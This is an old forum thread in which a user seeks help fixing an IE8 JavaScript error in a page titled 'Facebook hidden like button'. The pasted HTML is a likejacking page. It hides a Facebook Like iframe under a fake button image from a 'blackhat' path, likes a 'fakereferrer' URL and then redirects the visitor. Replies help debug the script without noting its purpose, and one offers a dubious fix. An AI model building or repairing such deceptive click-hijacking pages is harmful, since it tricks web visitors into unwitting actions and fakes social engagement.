I am trying to click on the button on my html page,'object doesn't support this property or method' error is coming'.The same works in firefox,but in IE8,error is coming.How can I make it work in IE. Spend one full day in google and tried so many methods.But
no solution.please see my html below.
harinarayana...
Member
63 Points
130 Posts
object doesn't support this property or method' error-javascript and IE8
Jun 15, 2012 02:09 AM|LINK
Hi,
I am trying to click on the button on my html page,'object doesn't support this property or method' error is coming'.The same works in firefox,but in IE8,error is coming.How can I make it work in IE. Spend one full day in google and tried so many methods.But no solution.please see my html below.
===========
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta http-equiv="Content-Language" content="en-US" /> <meta name="robots" content="noodp,noydir" /> <title>Facebook hidden like button</title> <style type="text/css"> #facebook_like_button_holder { position:relative; width:45px; height: 21px; } #facebook_like_button_holder iframe { position:absolute; top: 0px; width: 45px !important; } #fake_facebook_button { position:absolute; width: 45px; height: 21px; left:0; top:0; background: url('http://www.chaddo.com/blackhat/images/SubmitDark.gif'); } </style> </head> <body> <div id="facebook_like_button_holder"> <script type="text/javascript" src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script> <fb:like href="http://www.mybot.com/index.php/fakereferrer/" send="false" layout="button_count" width="100" show_faces="false" font=""></fb:like> <div id="fake_facebook_button"></div> </div> <script type="text/javascript"> FB.Event.subscribe('edge.create', function(response) { window.location = "http://www.google.com/"; }); </script> </body> </html>gaikwad_anil...
Contributor
2805 Points
534 Posts
Re: object doesn't support this property or method' error-javascript and IE8
Jun 15, 2012 06:51 AM|LINK
Use
www.thecodekey.com
Please mark as answer if useful
harinarayana...
Member
63 Points
130 Posts
Re: object doesn't support this property or method' error-javascript and IE8
Jun 16, 2012 03:13 AM|LINK
It is also not working.same error ..
roopeshreddy
All-Star
20155 Points
3328 Posts
Re: object doesn't support this property or method' error-javascript and IE8
Jun 16, 2012 10:19 AM|LINK
Hi,
You are missing the src attribute of the <script> tag!
Check the below code!
<script type="text/javascript" src="http://connect.facebook.net/en_US/all.js#xfbml=1" > FB.Event.subscribe('edge.create', function(response) { window.location = "http://www.google.com/"; }); </script>Hope it helps u...
Roopesh Reddy C
Roopesh's Space